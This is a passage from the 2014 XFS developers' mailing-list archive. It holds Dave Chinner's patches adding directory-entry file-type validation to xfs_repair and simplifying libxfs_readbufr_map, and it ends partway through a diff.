IDAgUj4+CmVuZG9iago3IDAgb2JqCjw8L1Byb2R1Y2VyKGNvbnZlcnRmaWxlb25saW5lLmNvbSkv Q3JlYXRpb25EYXRlKEQ6MjAxNDAxMjMxNDIwNTcrMDEnMDAnKS9Nb2REYXRlKEQ6MjAxNDAxMjMx NDIwNTcrMDEnMDAnKT4+CmVuZG9iagp4cmVmCjAgOAowMDAwMDAwMDAwIDY1NTM1IGYgCjAwMDAw MDAwMTUgMDAwMDAgbiAKMDAwMDAwMjcwMyAwMDAwMCBuIAowMDAwMTkyOTU0IDAwMDAwIG4gCjAw MDAxOTMyNTAgMDAwMDAgbiAKMDAwMDE5MzA4OCAwMDAwMCBuIAowMDAwMTkzMzEzIDAwMDAwIG4g CjAwMDAxOTMzNTggMDAwMDAgbiAKdHJhaWxlcgo8PC9TaXplIDgvUm9vdCA2IDAgUi9JbmZvIDcg MCBSL0lEIFs8YmVjZTdiYjhkOTU4YTI1N2NmYTVkMDcwNGQ5MTVjNjM+PGYwZGZlYmY4MzE1YjYy MjEzZWZkMWUzOWRiOThjN2M5Pl0+PgpzdGFydHhyZWYKMTkzNDgxCiUlRU9GCg== ------=_NextPart_000_0207_01CF1896.24137650-- From dave@fromorbit.com Thu Jan 23 16:53:02 2014 Return-Path: <dave@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FILL_THIS_FORM_SHORT autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D05BE29E0F for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 16:53:01 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 36664AC003 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 14:53:01 -0800 (PST) X-ASG-Debug-ID: 1390517577-04cb6c31f58c410001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id lLEjzRCRyIOkJLHv for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 14:52:58 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkUNADKc4VJ5LGaB/2dsb2JhbABagww4pzgDlmcXdIIlAS0vOxgYUgM0iASbTKtrjhx1hC4ElD2FGIkch0qDQSiBLAIeBg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Jan 2014 09:22:56 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from <dave@fromorbit.com>) id 1W6T8n-0006Mm-Sa for xfs@oss.sgi.com; Fri, 24 Jan 2014 09:52:53 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from <dave@disappointment.disaster>) id 1W6T8n-0007mp-Ra for xfs@oss.sgi.com; Fri, 24 Jan 2014 09:52:53 +1100 From: Dave Chinner <david@fromorbit.com> To: xfs@oss.sgi.com Subject: [PATCH V3] xfs_repair: add support for validating dirent ftype field Date: Fri, 24 Jan 2014 09:52:53 +1100 X-ASG-Orig-Subj: [PATCH V3] xfs_repair: add support for validating dirent ftype field Message-Id: <1390517573-29898-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390517577 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144409 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner <dchinner@redhat.com> Add code to track the filetype of an inode from phase 3 when all the inodes are scanned throught to phase 6 when the directory structure is validated and corrected. Add code to phase 6 shortform and long form directory entry validation to read the ftype from the dirent, lookup the inode record and check they are the same. If they aren't and we are in no-modify mode, issue a warning such as: Phase 6 - check inode connectivity... - traversing filesystem ... would fix ftype mismatch (5/1) in directory/child inode 64/68 - traversal finished ... - moving disconnected inodes to lost+found ... If we are fixing the problem: Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - traversing filesystem ... fixing ftype mismatch (5/1) in directory/child inode 64/68 - traversal finished ... - moving disconnected inodes to lost+found ... Note that this is from a leaf form directory entry that was intentionally corrupted with xfs_db like so: xfs_db> inode 64 xfs_db> a u3.bmx[0].startblock xfs_db> p .... du[3].inumber = 68 du[3].namelen = 11 du[3].name = "syscalltest" du[3].filetype = 1 du[3].tag = 0x70 .... xfs_db> write du[3].filetype 5 du[3].filetype = 5 xfs_db> quit Shortform directory entry repair was tested in a similar fashion. Further, track the ftype in the directory hash table that is build, so if the directory is rebuild from scratch it has the necessary ftype information to rebuild the directory correctly. Further, if we detect a ftype mismatch, update the entry in the hash so that later directory errors that lead to it being rebuilt use the corrected ftype field, not the bad one. Note that this code pulls in some kernel side code that is currently in kernel private locations (xfs_mode_to_ftype table), so there'll be some kernel/userspace sync work needed to bring these back into line. Signed-off-by: Dave Chinner <dchinner@redhat.com> Version 3: - fixed max_size updates - fixed comment grammar Version 2: - factored out junking of entry in shortform directory code - fixed leak of ftypes array memory --- include/xfs_dir2.h | 3 + libxfs/xfs_dir2.c | 16 ++++ repair/dino_chunks.c | 11 +++ repair/incore.h | 27 +++++- repair/incore_ino.c | 30 ++++++- repair/phase6.c | 239 ++++++++++++++++++++++++++++++++++++--------------- repair/scan.c | 4 +- 7 files changed, 253 insertions(+), 77 deletions(-) diff --git a/include/xfs_dir2.h b/include/xfs_dir2.h index 9910401..3900130 100644 --- a/include/xfs_dir2.h +++ b/include/xfs_dir2.h @@ -57,6 +57,9 @@ extern int xfs_dir_replace(struct xfs_trans *tp, struct xfs_inode *dp, extern int xfs_dir_canenter(struct xfs_trans *tp, struct xfs_inode *dp, struct xfs_name *name, uint resblks); +#define S_SHIFT 12 +extern const unsigned char xfs_mode_to_ftype[]; + /* * Direct call from the bmap code, bypassing the generic directory layer. */ diff --git a/libxfs/xfs_dir2.c b/libxfs/xfs_dir2.c index 96a3c1d..4c8c836 100644 --- a/libxfs/xfs_dir2.c +++ b/libxfs/xfs_dir2.c @@ -20,6 +20,22 @@ struct xfs_name xfs_name_dotdot = { (unsigned char *)"..", 2, XFS_DIR3_FT_DIR }; +/* + * @mode, if set, indicates that the type field needs to be set up. + * This uses the transformation from file mode to DT_* as defined in linux/fs.h + * for file type specification. This will be propagated into the directory + * structure if appropriate for the given operation and filesystem config. + */ +const unsigned char xfs_mode_to_ftype[S_IFMT >> S_SHIFT] = { + [0] = XFS_DIR3_FT_UNKNOWN, + [S_IFREG >> S_SHIFT] = XFS_DIR3_FT_REG_FILE, + [S_IFDIR >> S_SHIFT] = XFS_DIR3_FT_DIR, + [S_IFCHR >> S_SHIFT] = XFS_DIR3_FT_CHRDEV, + [S_IFBLK >> S_SHIFT] = XFS_DIR3_FT_BLKDEV, + [S_IFIFO >> S_SHIFT] = XFS_DIR3_FT_FIFO, + [S_IFSOCK >> S_SHIFT] = XFS_DIR3_FT_SOCK, + [S_IFLNK >> S_SHIFT] = XFS_DIR3_FT_SYMLINK, +}; /* * ASCII case-insensitive (ie. A-Z) support for directories that was diff --git a/repair/dino_chunks.c b/repair/dino_chunks.c index d3c2236..65281e4 100644 --- a/repair/dino_chunks.c +++ b/repair/dino_chunks.c @@ -788,6 +788,8 @@ process_inode_chunk( * we do now, this is where to start. */ if (is_used) { + __uint16_t di_mode; + if (is_inode_free(ino_rec, irec_offset)) { if (verbose || no_modify) { do_warn( @@ -803,6 +805,15 @@ process_inode_chunk( set_inode_used(ino_rec, irec_offset); /* + * store the on-disk file type for comparing in + * phase 6. + */ + di_mode = be16_to_cpu(dino->di_mode); + di_mode = (di_mode & S_IFMT) >> S_SHIFT; + set_inode_ftype(ino_rec, irec_offset, + xfs_mode_to_ftype[di_mode]); + + /* * store on-disk nlink count for comparing in phase 7 */ set_inode_disk_nlinks(ino_rec, irec_offset, diff --git a/repair/incore.h b/repair/incore.h index 38caa6d..5419884 100644 --- a/repair/incore.h +++ b/repair/incore.h @@ -293,6 +293,7 @@ typedef struct ino_tree_node { ino_ex_data_t *ex_data; /* phases 6,7 */ parent_list_t *plist; /* phases 2-5 */ } ino_un; + __uint8_t *ftypes; /* phases 3,6 */ } ino_tree_node_t; #define INOS_PER_IREC (sizeof(__uint64_t) * NBBY) @@ -359,7 +360,8 @@ ino_tree_node_t *find_uncertain_inode_rec(xfs_agnumber_t agno, xfs_agino_t ino); void add_inode_uncertain(xfs_mount_t *mp, xfs_ino_t ino, int free); -void add_aginode_uncertain(xfs_agnumber_t agno, +void add_aginode_uncertain(struct xfs_mount *mp, + xfs_agnumber_t agno, xfs_agino_t agino, int free); void get_uncertain_inode_rec(struct xfs_mount *mp, xfs_agnumber_t agno, @@ -476,6 +478,29 @@ static inline void add_inode_reached(struct ino_tree_node *irec, int offset) } /* + * get/set inode filetype. Only used if the superblock feature bit is set + * which allocates irec->ftypes. + */ +static inline void +set_inode_ftype(struct ino_tree_node *irec, + int ino_offset, + __uint8_t ftype) +{ + if (irec->ftypes) + irec->ftypes[ino_offset] = ftype; +} + +static inline __uint8_t +get_inode_ftype( + struct ino_tree_node *irec, + int ino_offset) +{ + if (!irec->ftypes) + return XFS_DIR3_FT_UNKNOWN; + return irec->ftypes[ino_offset]; +} + +/* * set/get inode number of parent -- works for directory inodes only */ void set_inode_parent(ino_tree_node_t *irec, int ino_offset, diff --git a/repair/incore_ino.c b/repair/incore_ino.c index 735737a..9502648 100644 --- a/repair/incore_ino.c +++ b/repair/incore_ino.c @@ -211,6 +211,21 @@ __uint32_t get_inode_disk_nlinks(struct ino_tree_node *irec, int ino_offset) return 0; } +static __uint8_t * +alloc_ftypes_array( + struct xfs_mount *mp) +{ + __uint8_t *ptr; + + if (!xfs_sb_version_hasftype(&mp->m_sb)) + return NULL; + + ptr = calloc(XFS_INODES_PER_CHUNK, sizeof(*ptr)); + if (!ptr) + do_error(_("could not allocate ftypes array\n")); + return ptr; +} + /* * Next is the uncertain inode list -- a sorted (in ascending order) * list of inode records sorted on the starting inode number. There @@ -226,6 +241,7 @@ __uint32_t get_inode_disk_nlinks(struct ino_tree_node *irec, int ino_offset) */ static struct ino_tree_node * alloc_ino_node( + struct xfs_mount *mp, xfs_agino_t starting_ino) { struct ino_tree_node *irec; @@ -245,6 +261,7 @@ alloc_ino_node( irec->ino_un.ex_data = NULL; irec->nlink_size = sizeof(__uint8_t); irec->disk_nlinks.un8 = alloc_nlink_array(irec->nlink_size); + irec->ftypes = alloc_ftypes_array(mp); return irec; } @@ -285,6 +302,7 @@ free_ino_tree_node( } + free(irec->ftypes); free(irec); } @@ -303,7 +321,11 @@ static ino_tree_node_t **last_rec; * free is set to 1 if the inode is thought to be free, 0 if used */ void -add_aginode_uncertain(xfs_agnumber_t agno, xfs_agino_t ino, int free) +add_aginode_uncertain( + struct xfs_mount *mp, + xfs_agnumber_t agno, + xfs_agino_t ino, + int free) { ino_tree_node_t *ino_rec; xfs_agino_t s_ino; @@ -334,7 +356,7 @@ add_aginode_uncertain(xfs_agnumber_t agno, xfs_agino_t ino, int free) ino_rec = (ino_tree_node_t *) avl_findrange(inode_uncertain_tree_ptrs[agno], s_ino); if (!ino_rec) { - ino_rec = alloc_ino_node(s_ino); + ino_rec = alloc_ino_node(mp, s_ino); if (!avl_insert(inode_uncertain_tree_ptrs[agno], &ino_rec->avl_node)) @@ -360,7 +382,7 @@ add_aginode_uncertain(xfs_agnumber_t agno, xfs_agino_t ino, int free) void add_inode_uncertain(xfs_mount_t *mp, xfs_ino_t ino, int free) { - add_aginode_uncertain(XFS_INO_TO_AGNO(mp, ino), + add_aginode_uncertain(mp, XFS_INO_TO_AGNO(mp, ino), XFS_INO_TO_AGINO(mp, ino), free); } @@ -432,7 +454,7 @@ add_inode( { struct ino_tree_node *irec; - irec = alloc_ino_node(agino); + irec = alloc_ino_node(mp, agino); if (!avl_insert(inode_tree_ptrs[agno], &irec->avl_node)) do_warn(_("add_inode - duplicate inode range\n")); return irec; diff --git a/repair/phase6.c b/repair/phase6.c index d2d4a44..157685c 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -134,7 +134,8 @@ dir_hash_add( __uint32_t addr, xfs_ino_t inum, int namelen, - unsigned char *name) + unsigned char *name, + __uint8_t ftype) { xfs_dahash_t hash = 0; int byaddr; @@ -148,6 +149,7 @@ dir_hash_add( xname.name = name; xname.len = namelen; + xname.type = ftype; junk = name[0] == '/'; byaddr = DIR_HASH_FUNC(hashtab, addr); @@ -312,6 +314,23 @@ dir_hash_see( return DIR_HASH_CK_NODATA; } +static void +dir_hash_update_ftype( + dir_hash_tab_t *hashtab, + xfs_dir2_dataptr_t addr, + __uint8_t ftype) +{ + int i; + dir_hash_ent_t *p; + + i = DIR_HASH_FUNC(hashtab, addr); + for (p = hashtab->byaddr[i]; p; p = p->nextbyaddr) { + if (p->address != addr) + continue; + p->name.type = ftype; + } +} + /* * checks to make sure leafs match a data entry, and that the stale * count is valid. @@ -1685,11 +1704,12 @@ longform_dir2_entry_check_data( if (!orphanage_ino) orphanage_ino = inum; } + /* * check for duplicate names in directory. */ if (!dir_hash_add(mp, hashtab, addr, inum, dep->namelen, - dep->name)) { + dep->name, xfs_dir3_dirent_get_ftype(mp, dep))) { nbad++; if (entry_junked( _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), @@ -1763,6 +1783,35 @@ longform_dir2_entry_check_data( */ if (no_modify && verify_inum(mp, inum)) continue; + + /* validate ftype field if supported */ + if (xfs_sb_version_hasftype(&mp->m_sb)) { + __uint8_t dir_ftype; + __uint8_t ino_ftype; + + dir_ftype = xfs_dir3_dirent_get_ftype(mp, dep); + ino_ftype = get_inode_ftype(irec, ino_offset); + + if (dir_ftype != ino_ftype) { + if (no_modify) { + do_warn( + _("would fix ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), + dir_ftype, ino_ftype, + ip->i_ino, inum); + } else { + do_warn( + _("fixing ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), + dir_ftype, ino_ftype, + ip->i_ino, inum); + xfs_dir3_dirent_put_ftype(mp, dep, + ino_ftype); + libxfs_dir2_data_log_entry(tp, bp, dep); + dir_hash_update_ftype(hashtab, addr, + ino_ftype); + } + } + } + /* * check easy case first, regular inode, just bump * the link count and continue @@ -2189,6 +2238,59 @@ out_fix: * shortform directory v2 processing routines -- entry verification and * bad entry deletion (pruning). */ +static struct xfs_dir2_sf_entry * +shortform_dir2_junk( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *sfp, + struct xfs_dir2_sf_entry *sfep, + xfs_ino_t lino, + int *max_size, + int *index, + int *bytes_deleted, + int *ino_dirty) +{ + struct xfs_dir2_sf_entry *tmp_sfep; + int tmp_len; + int tmp_elen; + + if (lino == orphanage_ino) + orphanage_ino = 0; + if (no_modify) { + do_warn(_("would junk entry\n")); + return NULL; + } + + tmp_elen = xfs_dir3_sf_entsize(mp, sfp, + sfep->namelen); + tmp_sfep = (xfs_dir2_sf_entry_t *) + ((__psint_t) sfep + tmp_elen); + tmp_len = *max_size - ((__psint_t) tmp_sfep + - (__psint_t) sfp); + *max_size -= tmp_elen; + *bytes_deleted += tmp_elen; + + memmove(sfep, tmp_sfep, tmp_len); + + sfp->count -= 1; + memset((void *)((__psint_t)sfep + tmp_len), 0, + tmp_elen); + + /* + * WARNING: drop the index i by one + * so it matches the decremented count for + * accurate comparisons in the loop test + */ + (*index)--; + + *ino_dirty = 1; + + if (verbose) + do_warn(_("junking entry\n")); + else + do_warn("\n"); + return sfep; +} + static void shortform_dir2_entry_check(xfs_mount_t *mp, xfs_ino_t ino, @@ -2201,15 +2303,13 @@ shortform_dir2_entry_check(xfs_mount_t *mp, xfs_ino_t lino; xfs_ino_t parent; struct xfs_dir2_sf_hdr *sfp; - xfs_dir2_sf_entry_t *sfep, *next_sfep, *tmp_sfep; + struct xfs_dir2_sf_entry *sfep; + struct xfs_dir2_sf_entry *next_sfep; xfs_ifork_t *ifp; ino_tree_node_t *irec; int max_size; int ino_offset; int i; - int junkit; - int tmp_len; - int tmp_elen; int bad_sfnamelen; int namelen; int bytes_deleted; @@ -2266,9 +2366,7 @@ shortform_dir2_entry_check(xfs_mount_t *mp, for (i = 0; i < sfp->count && max_size > (__psint_t)next_sfep - (__psint_t)sfp; sfep = next_sfep, i++) { - junkit = 0; bad_sfnamelen = 0; - tmp_sfep = NULL; lino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); @@ -2340,7 +2438,10 @@ shortform_dir2_entry_check(xfs_mount_t *mp, do_warn( _("entry \"%s\" in shortform directory %" PRIu64 " references non-existent inode %" PRIu64 "\n"), fname, ino, lino); - goto do_junkit; + next_sfep = shortform_dir2_junk(mp, sfp, sfep, lino, + &max_size, &i, &bytes_deleted, + ino_dirty); + continue; } ino_offset = XFS_INO_TO_AGINO(mp, lino) - irec->ino_startnum; @@ -2354,7 +2455,10 @@ shortform_dir2_entry_check(xfs_mount_t *mp, do_warn( _("entry \"%s\" in shortform directory inode %" PRIu64 " points to free inode %" PRIu64 "\n"), fname, ino, lino); - goto do_junkit; + next_sfep = shortform_dir2_junk(mp, sfp, sfep, lino, + &max_size, &i, &bytes_deleted, + ino_dirty); + continue; } /* * check if this inode is lost+found dir in the root @@ -2367,7 +2471,10 @@ shortform_dir2_entry_check(xfs_mount_t *mp, do_warn( _("%s (ino %" PRIu64 ") in root (%" PRIu64 ") is not a directory"), ORPHANAGE, lino, ino); - goto do_junkit; + next_sfep = shortform_dir2_junk(mp, sfp, sfep, + lino, &max_size, &i, + &bytes_deleted, ino_dirty); + continue; } /* * if this is a dup, it will be picked up below, @@ -2381,11 +2488,15 @@ shortform_dir2_entry_check(xfs_mount_t *mp, */ if (!dir_hash_add(mp, hashtab, (xfs_dir2_dataptr_t) (sfep - xfs_dir2_sf_firstentry(sfp)), - lino, sfep->namelen, sfep->name)) { + lino, sfep->namelen, sfep->name, + xfs_dir3_sfe_get_ftype(mp, sfp, sfep))) { do_warn( _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), fname, lino, ino); - goto do_junkit; + next_sfep = shortform_dir2_junk(mp, sfp, sfep, lino, + &max_size, &i, &bytes_deleted, + ino_dirty); + continue; } if (!inode_isadir(irec, ino_offset)) { @@ -2403,11 +2514,14 @@ _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), * the .. in the child, blow out the entry */ if (is_inode_reached(irec, ino_offset)) { - junkit = 1; do_warn( _("entry \"%s\" in directory inode %" PRIu64 " references already connected inode %" PRIu64 ".\n"), fname, ino, lino); + next_sfep = shortform_dir2_junk(mp, sfp, sfep, + lino, &max_size, &i, + &bytes_deleted, ino_dirty); + continue; } else if (parent == ino) { add_inode_reached(irec, ino_offset); add_inode_ref(current_irec, current_ino_offset); @@ -2423,76 +2537,60 @@ _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), add_dotdot_update(XFS_INO_TO_AGNO(mp, lino), irec, ino_offset); } else { - junkit = 1; do_warn( _("entry \"%s\" in directory inode %" PRIu64 " not consistent with .. value (%" PRIu64 ") in inode %" PRIu64 ",\n"), fname, ino, parent, lino); + next_sfep = shortform_dir2_junk(mp, sfp, sfep, + lino, &max_size, &i, + &bytes_deleted, ino_dirty); + continue; } } - if (junkit) { -do_junkit: - if (lino == orphanage_ino) - orphanage_ino = 0; - if (!no_modify) { - tmp_elen = xfs_dir3_sf_entsize(mp, sfp, - sfep->namelen); - tmp_sfep = (xfs_dir2_sf_entry_t *) - ((__psint_t) sfep + tmp_elen); - tmp_len = max_size - ((__psint_t) tmp_sfep - - (__psint_t) sfp); - max_size -= tmp_elen; - bytes_deleted += tmp_elen; - - memmove(sfep, tmp_sfep, tmp_len); - - sfp->count -= 1; - memset((void *)((__psint_t)sfep + tmp_len), 0, - tmp_elen); - - /* - * set the tmp value to the current - * pointer so we'll process the entry - * we just moved up - */ - tmp_sfep = sfep; - - /* - * WARNING: drop the index i by one - * so it matches the decremented count for - * accurate comparisons in the loop test - */ - i--; + /* validate ftype field if supported */ + if (xfs_sb_version_hasftype(&mp->m_sb)) { + __uint8_t dir_ftype; + __uint8_t ino_ftype; - *ino_dirty = 1; + dir_ftype = xfs_dir3_sfe_get_ftype(mp, sfp, sfep); + ino_ftype = get_inode_ftype(irec, ino_offset); - if (verbose) - do_warn(_("junking entry\n")); - else - do_warn("\n"); - } else { - do_warn(_("would junk entry\n")); + if (dir_ftype != ino_ftype) { + if (no_modify) { + do_warn( + _("would fix ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), + dir_ftype, ino_ftype, + ino, lino); + } else { + do_warn( + _("fixing ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), + dir_ftype, ino_ftype, + ino, lino); + xfs_dir3_sfe_put_ftype(mp, sfp, sfep, + ino_ftype); + dir_hash_update_ftype(hashtab, + (xfs_dir2_dataptr_t)(sfep - xfs_dir2_sf_firstentry(sfp)), + ino_ftype); + *ino_dirty = 1; + } } - } else if (lino > XFS_DIR2_MAX_SHORT_INUM) + } + + if (lino > XFS_DIR2_MAX_SHORT_INUM) i8++; /* - * go onto next entry unless we've just junked an - * entry in which the current entry pointer points - * to an unprocessed entry. have to take into entries - * with bad namelen into account in no modify mode since we - * calculate size based on next_sfep. + * go onto next entry - we have to take entries with bad namelen + * into account in no modify mode since we calculate size based + * on next_sfep. */ ASSERT(no_modify || bad_sfnamelen == 0); - - next_sfep = (tmp_sfep == NULL) - ? (xfs_dir2_sf_entry_t *) ((__psint_t) sfep - + ((!bad_sfnamelen) - ? xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) - : xfs_dir3_sf_entsize(mp, sfp, namelen))) - : tmp_sfep; + next_sfep = (struct xfs_dir2_sf_entry *)((__psint_t)sfep + + (bad_sfnamelen + ? xfs_dir3_sf_entsize(mp, sfp, namelen) + : xfs_dir3_sf_entsize(mp, sfp, sfep->namelen))); } if (sfp->i8count != i8) { @@ -2501,6 +2599,8 @@ do_junkit: ino); } else { if (i8 == 0) { + struct xfs_dir2_sf_entry *tmp_sfep; + tmp_sfep = next_sfep; process_sf_dir2_fixi8(mp, sfp, &tmp_sfep); bytes_deleted += @@ -2518,8 +2618,7 @@ do_junkit: /* * sync up sizes if required */ - if (*ino_dirty) { - ASSERT(bytes_deleted > 0); + if (*ino_dirty && bytes_deleted > 0) { ASSERT(!no_modify); libxfs_idata_realloc(ip, -bytes_deleted, XFS_DATA_FORK); ip->i_d.di_size -= bytes_deleted; diff --git a/repair/scan.c b/repair/scan.c index 49ed194..73b4581 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -866,9 +866,9 @@ _("inode rec for ino %" PRIu64 " (%d/%d) overlaps existing rec (start %d/%d)\n") for (j = 0; j < XFS_INODES_PER_CHUNK; j++) { if (XFS_INOBT_IS_FREE_DISK(rp, j)) { nfree++; - add_aginode_uncertain(agno, ino + j, 1); + add_aginode_uncertain(mp, agno, ino + j, 1); } else { - add_aginode_uncertain(agno, ino + j, 0); + add_aginode_uncertain(mp, agno, ino + j, 0); } } } -- 1.8.4.rc3 From dave@fromorbit.com Thu Jan 23 17:21:38 2014 Return-Path: <dave@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 494D57F63 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 17:21:38 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 29386304048 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 15:21:38 -0800 (PST) X-ASG-Debug-ID: 1390519293-04cb6c31f58cd90003-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id cHxakMPj3miE7b62 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 15:21:36 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmsGADaj4VJ5LGaB/2dsb2JhbABagwy+VRd0giUBAQUnLzMIGDE5AxsZiATHFBePHYQiBKJxh0qDQSiBLiQ Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Jan 2014 09:51:33 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from <dave@fromorbit.com>) id 1W6TaT-0006Pu-KE for xfs@oss.sgi.com; Fri, 24 Jan 2014 10:21:29 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from <dave@disappointment.disaster>) id 1W6TaT-0008C0-JX for xfs@oss.sgi.com; Fri, 24 Jan 2014 10:21:29 +1100 From: Dave Chinner <david@fromorbit.com> To: xfs@oss.sgi.com Subject: [PATCH 2/3] libxfs: remove map from libxfs_readbufr_map Date: Fri, 24 Jan 2014 10:21:23 +1100 X-ASG-Orig-Subj: [PATCH 2/3] libxfs: remove map from libxfs_readbufr_map Message-Id: <1390519284-31440-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1390519284-31440-1-git-send-email-david@fromorbit.com> References: <1390519284-31440-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390519296 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144409 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner <dchinner@redhat.com> The map passed in to libxfs_readbufr_map is used to check the buffer matches the map. However, the repair readahead code has no map it can use to validate the buffer it set up previously, so just get rid of the map being passed in because it serves no useful purpose. Signed-off-by: Dave Chinner <dchinner@redhat.com> --- db/io.c | 4 +--- include/libxfs.h | 3 +-- libxfs/rdwr.c | 12 ++---------- 3 files changed, 4 insertions(+), 15 deletions(-) diff --git a/db/io.c b/db/io.c index 123214d..d29816c 100644 --- a/db/io.c +++ b/db/io.c @@ -449,9 +449,7 @@ write_cur_bbs(void) /* re-read buffer from disk */ - ret = libxfs_readbufr_map(mp->m_ddev_targp, iocur_top->bp, - iocur_top->bbmap->b, iocur_top->bbmap->nmaps, - 0); + ret = libxfs_readbufr_map(mp->m_ddev_targp, iocur_top->bp, 0); if (ret != 0) dbprintf(_("read error: %s\n"), strerror(ret)); } diff --git a/include/libxfs.h b/include/libxfs.h index 2872410..bb0369f 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -448,8 +448,7 @@ extern void libxfs_putbufr(xfs_buf_t *); extern int libxfs_writebuf_int(xfs_buf_t *, int); extern int libxfs_writebufr(struct xfs_buf *); extern int libxfs_readbufr(struct xfs_buftarg *, xfs_daddr_t, xfs_buf_t *, int, int); -extern int libxfs_readbufr_map(struct xfs_buftarg *, struct xfs_buf *, - struct xfs_buf_map *, int, int); +extern int libxfs_readbufr_map(struct xfs_buftarg *, struct xfs_buf *, int); extern int libxfs_bhash_size; diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index bf92788..ac7739f 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -727,27 +727,19 @@ libxfs_readbuf(struct xfs_buftarg *btp, xfs_daddr_t blkno, int len, int flags, } int -libxfs_readbufr_map(struct xfs_buftarg *btp, struct xfs_buf *bp, - struct xfs_buf_map *map, int nmaps, int flags) +libxfs_readbufr_map(struct xfs_buftarg *btp, struct xfs_buf *bp, int flags) { int fd = libxfs_device_to_fd(btp->dev); int error = 0; char *buf; int i; - ASSERT(BBTOB(len) <= bp->b_bcount); - - ASSERT(bp->b_nmaps == nmaps); - fd = libxfs_device_to_fd(btp->dev); buf = bp->b_addr; for (i = 0; i < bp->b_nmaps; i++) { off64_t offset = LIBXFS_BBTOOFF64(bp->b_map[i].bm_bn); int len = BBTOB(bp->b_map[i].bm_len); - ASSERT(bp->b_map[i].bm_bn == map[i].bm_bn); - 